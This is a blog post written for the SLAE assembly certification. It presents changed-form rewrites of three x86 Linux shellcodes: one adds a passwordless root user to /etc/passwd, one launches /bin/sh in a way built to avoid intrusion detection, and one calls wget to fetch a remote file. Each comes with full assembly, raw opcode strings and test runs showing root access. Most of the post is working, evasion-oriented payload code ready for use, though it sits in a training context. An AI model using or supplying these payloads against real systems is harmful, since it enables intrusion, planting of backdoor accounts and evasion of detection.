SLAE Assignment 6 - Polymorphic Shellcodes

6 minute read

Introduction

This is the sixth post of the SLAE exam assignments serie.

The goal of this assignement is to create polymorphic versions of three shellcodes from Shell Storm
These versions cannot be larger than 150% of the original shellcode and we get bonus points to make them shorter.
In the context of this assignment, polymorphic means that we need to re-write these shellcodes using different instructions that does the same things as the original.

All the source code for this assignment can be found on my github repository

Shellcodes

The payloads I’ve chosen this time are :

Add root user without password

The original code is as follow (gdb dump) :
Size : 69 bytes

   ; man 2 open
   ; int open(const char *pathname, int flags);
=> 0x00404040 <+0>:	push   0x5
   0x00404042 <+2>:	pop    eax         ; Open syscall number
   0x00404043 <+3>:	xor    ecx,ecx     
   0x00404045 <+5>:	push   ecx         ; String terminator
   0x00404046 <+6>:	push   0x64777373  ; dwss
   0x0040404b <+11>:	push   0x61702f2f  ; ap//
   0x00404050 <+16>:	push   0x6374652f  ; cte/
   0x00404055 <+21>:	mov    ebx,esp	   ; pointer to "/etc//passwd"
   0x00404057 <+23>:	mov    cx,0x401    ; => octal:2001, flags O_APPEND/O_WRONLY
					   ; # define O_APPEND         02000
					   ; #define O_WRONLY             01
   0x0040405b <+27>:	int    0x80        ; exec open

   0x0040405d <+29>:	mov    ebx,eax     ; copy file descriptor to EBX
   0x0040405f <+31>:	push   0x4   
   0x00404061 <+33>:	pop    eax         ; write syscall number
   0x00404062 <+34>:	xor    edx,edx    
   0x00404064 <+36>:	push   edx         ; string terminator
   0x00404065 <+37>:	push   0x3a3a3a30  ; :::0
   0x0040406a <+42>:	push   0x3a303a3a  ; :0::
   0x0040406f <+47>:	push   0x74303072  ; t00r
   0x00404074 <+52>:	mov    ecx,esp     ; pointer to "r00t::0:0:::"
   0x00404076 <+54>:	push   0xc     
   0x00404078 <+56>:	pop    edx         ; string length 12
   0x00404079 <+57>:	int    0x80        ; exec write

   0x0040407b <+59>:	push   0x6          
   0x0040407d <+61>:	pop    eax         ; close syscall number (EBX set to fd) 
   0x0040407e <+62>:	int    0x80        ; close file descriptor

   0x00404080 <+64>:	push   0x1	   
   0x00404082 <+66>:	pop    eax         ; exit syscall number
   0x00404083 <+67>:	int    0x80        ; exit

Polymorphic version :
Size : 69 bytes

    xor     ebx, ebx
    mul     ebx			; EAX, EBX, EDX set to 0
    mov     al, 0x5		; open syscall number
    push    ebx			; string terminator
    push    0x64777373		
    push    0x61702f2f
    push    0x6374652f
    xchg    ebx, ecx		; ECX set to 0
    lea     ebx, [esp]		; EBX point to /etc/passwd
    mov     ch, 0x4		
    inc     ecx			; ECX => 0x401
    int     0x80

    xchg    eax, ebx		; Copy fd in EBX
    mov     eax, edx		; EAX set to 0
    push    eax			; String terminator
    xchg    al, ch		; EAX = 0x4 => write syscall number
    push    0x3a3a3a30
    push    0x3a303a3a
    push    0x74303072
    lea     ecx, [esp]		; ECX point to "r00t::0:0:::"
    mov     dl, 0xc		; string lengh
    int     0x80

    shr     eax, 1      	; write return number of bytes written (0xC) 
                        	; 0xC / 2 => 0x6 close syscall number
    int     0x80

    xchg    al, dh		; EAX set to 0
    inc     eax			; exit syscall number
    int     0x80

Original shellcode :
“\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80

The new shellcode :
“\x31\xdb\xf7\xe3\xb0\x05\x53\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x87\xd9\x8d\x1c\x24\xb5\x04\x41\xcd\x80\x93\x89\xd0\x50\x86\xc5\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x8d\x0c\x24\xb2\x0c\xcd\x80\xd1\xe8\xcd\x80\x86\xc6\x40\xcd\x80

We retrieve only the two strings and the three interrupt 80 instructions.

root@kali:~# gcc -fno-stack-protector -z execstack shellcode.c -o add-root-poly
root@kali:~# ./add-root-poly
Payload Length:  69

root@kali:~# tail -3 /etc/passwd
ftpuser:x:1000:1000::/dev/null:/etc
statd:x:137:65534::/var/lib/nfs:/usr/sbin/nologin
r00t::0:0:::root@kali:~#

execve /bin/sh anti-ids

The original code is as follow (gdb dump) :
Size : 40 bytes

=> 0x00404040 <+0>:	cdq    			; set EDX to 0
   0x00404041 <+1>:	push   edx		; 
   0x00404042 <+2>:	pop    eax		; set EAX to 0
   0x00404043 <+3>:	push   edx		; push string terminator
   0x00404044 <+4>:	mov    edi,0x343997b7	; 
   0x00404049 <+9>:	add    edi,edi		; EDI => 0x68732f6e
   0x0040404b <+11>:	push   edi		; push hs/n
   0x0040404c <+12>:	mov    edi,0x34b11797	;
   0x00404051 <+17>:	add    edi,edi		; EDI => 0x69622f2f
   0x00404053 <+19>:	inc    edi		; EDI += 1
   0x00404054 <+20>:	push   edi		; push ib//
   0x00404055 <+21>:	mov    ebx,esp		; EBX pointer to //bin/sh

   0x00404057 <+23>:	push   edx		; push 0
   0x00404058 <+24>:	push   ebx		; push //bin/sh address
   0x00404059 <+25>:	mov    ecx,esp		; ECX point to stack (["//bin/sh"])
   0x0040405b <+27>:	mov    al,0x63		;
   0x0040405d <+29>:	sub    al,0x58		; AL => 0xb execve syscall number 
   0x0040405f <+31>:	sub    edi,0x6961ae62	; EDI set to 0x80cd
   0x00404065 <+37>:	push   edi		; push int 0x80 opcode
   0x00404066 <+38>:	call   esp		; go to int 0x80 

Polymorphic version :
Size : 37 bytes

    xor    edi, edi
    mul    edi			; set EAX,EDX,EDI to 0
    push   edi                  ; push string terminator
    sub    eax, 0x978CD092      ; EAX => 0x68732f6e
    push   eax                  ; push hs/n
    sub    edi, 0x969DD0D1	; EDI => 0x69622f2f
    push   edi		        ; push ib//
    lea    ebx, [esp]      	; EBX pointer to //bin/sh
    mov    ecx, edx		; ECX set to null pointer
    add    eax, 0x978CD09D	; EAX => 0xb execve syscall number
    sub    dx, 0x7F33		; EDX set to 0x80cd
    push   edx		        ; push int 0x80 opcode
    push   esp
    cdq				; EDX set to 0x00
    ret				; go to "int 0x80" address

Original shellcode : “\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81\xef\x62\xae\x61\x69\x57\xff\xd4”;

The new shellcode : “\x31\xff\xf7\xe7\x57\x2d\x92\xd0\x8c\x97\x50\x81\xef\xd1\xd0\x9d\x96\x57\x8d\x1c\x24\x89\xd1\x05\x9d\xd0\x8c\x97\x66\x81\xea\x33\x7f\x52\x54\x99\xc3”

There is no series of two identical bytes, and it is three bytes shorter than original.

root@kali:~# gcc -fno-stack-protector -z execstack shellcode.c -o anti-ids
root@kali:~# ./anti-ids
Payload Length:  36
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Remote file Download

The original code is as follow (gdb dump) :
Size : 42 bytes

=> 0x00404040 <+0>:	push   0xb	   ;
   0x00404042 <+2>:	pop    eax	   ; Execve syscall number
   0x00404043 <+3>:	cdq    		   ; edx set to 0
   0x00404044 <+4>:	push   edx	   ; push string terminator	
   0x00404045 <+5>:	push   0x61616161  ; The url of the file to download 
					   ; here 'aaaa'
   0x0040404a <+10>:	mov    ecx,esp	   ; ECX point to the url argument
   0x0040404c <+12>:	push   edx	   ; push string terminator 
					   ; [Useless here push 0x74 will insert nullbytes]]
   0x0040404d <+13>:	push   0x74	   ; t
   0x0040404f <+15>:	push   0x6567772f  ; egw/
   0x00404054 <+20>:	push   0x6e69622f  ; nib/
   0x00404059 <+25>:	push   0x7273752f  ; rsu/  
   0x0040405e <+30>:	mov    ebx,esp     ; EBX point to /usr/bin/wget
   0x00404060 <+32>:	push   edx         ; null pointer
   0x00404061 <+33>:	push   ecx         ; Address of first wget arguments
   0x00404062 <+34>:	push   ebx         ; Address of cmd string
   0x00404063 <+35>:	mov    ecx,esp     ; ECX set to *args
   0x00404065 <+37>:	int    0x80        ; execve("/usr/bin/wget, ["/usr/bin/wget","aaaa"],null)
   0x00404067 <+39>:	inc    eax	   ; Assume that execve return 0 to set exit syscall num
   0x00404068 <+40>:	int    0x80        ; exit()

Polymorphic version :
Size : 62 bytes (147.6%)

    xor     eax, eax
    mul     eax			; EDX, EAX set to 0
    push    eax			; string terminator
    push    0x61616161		; "aaaa" wget url argument
    mov     al, 0xb		; execve syscall
    lea     ecx, [esp]		; ECX point to "aaaa"

    push    0x74		; t
    mov     ebx, 0xcaceee5e
    shr     ebx, 1		; shift one byte to the right
    push    ebx			; egw/
    mov     ebx, 0xdcd2c45e
    shr     ebx, 1		; shift one byte to the right
    push    ebx			; nib/
    mov     ebx, 0xe4e6ea5e
    shr     ebx, 1		; shift one byte to the right
    push    ebx			; rsu/
    lea     ebx, [esp]		; EBX point to "/usr/bin/wget"

    mov     [esp-4], edx	; "push" null
    mov     [esp-8], ecx	; "push" pointer on wget url argument
    mov     [esp-12], ebx	; "push" pointer to wget command
    lea     ecx, [esp-12]	; ECX point to *args
    int     0x80		; exec execve("/usr/bin/wget", ["/usr/bin/wget","aaaa"],null)

Original shellcode :
“\x6a\x0b\x58\x99\x52\x68\x61\x61\x61\x61\x89\xe1\x52\x6a\x74”\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x40\xcd\x80

The new shellcode :
“\x31\xc0\xf7\xe0\x50\xb0\x0b\x68\x61\x61\x61\x61\x8d\x0c\x24\x6a\x74\xbb\x5e\xee\xce\xca\xd1\xeb\x53\xbb\x5e\xc4\xd2\xdc\xd1\xeb\x53\xbb\x5e\xea\xe6\xe4\xd1\xeb\x53\x8d\x1c\x24\x89\x54\x24\xfc\x89\x4c\x24\xf8\x89\x5c\x24\xf4\x8d\x4c\x24\xf4\xcd\x80

I did not replace the ‘aaaa’ string because when used in real life we will set a valid url in place of it.
Except it there is only the int 0x80 at the end that we can find.

#To test it we need to add a line in /etc/hosts and use a webserver:

root@kali:~/ echo "127.0.0.1 aaaa" >> /etc/hosts
root@kali:~/ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

#Then on another terminal :
root@kali:~# ./remote-dwnld-poly 
Payload Length:  62
--2020-05-12 04:09:37--  http://aaaa/
Resolving aaaa (aaaa)... 127.0.0.1
Connecting to aaaa (aaaa)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1008 [text/html]
Saving to: 'index.html'

index.html         100%[=====================>]    1008  --.-KB/s    in 0s      

2020-05-12 04:09:37 (3.56 MB/s) - 'index.html' saved [1008/1008]

That’s it, the next post will be the last of the serie.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186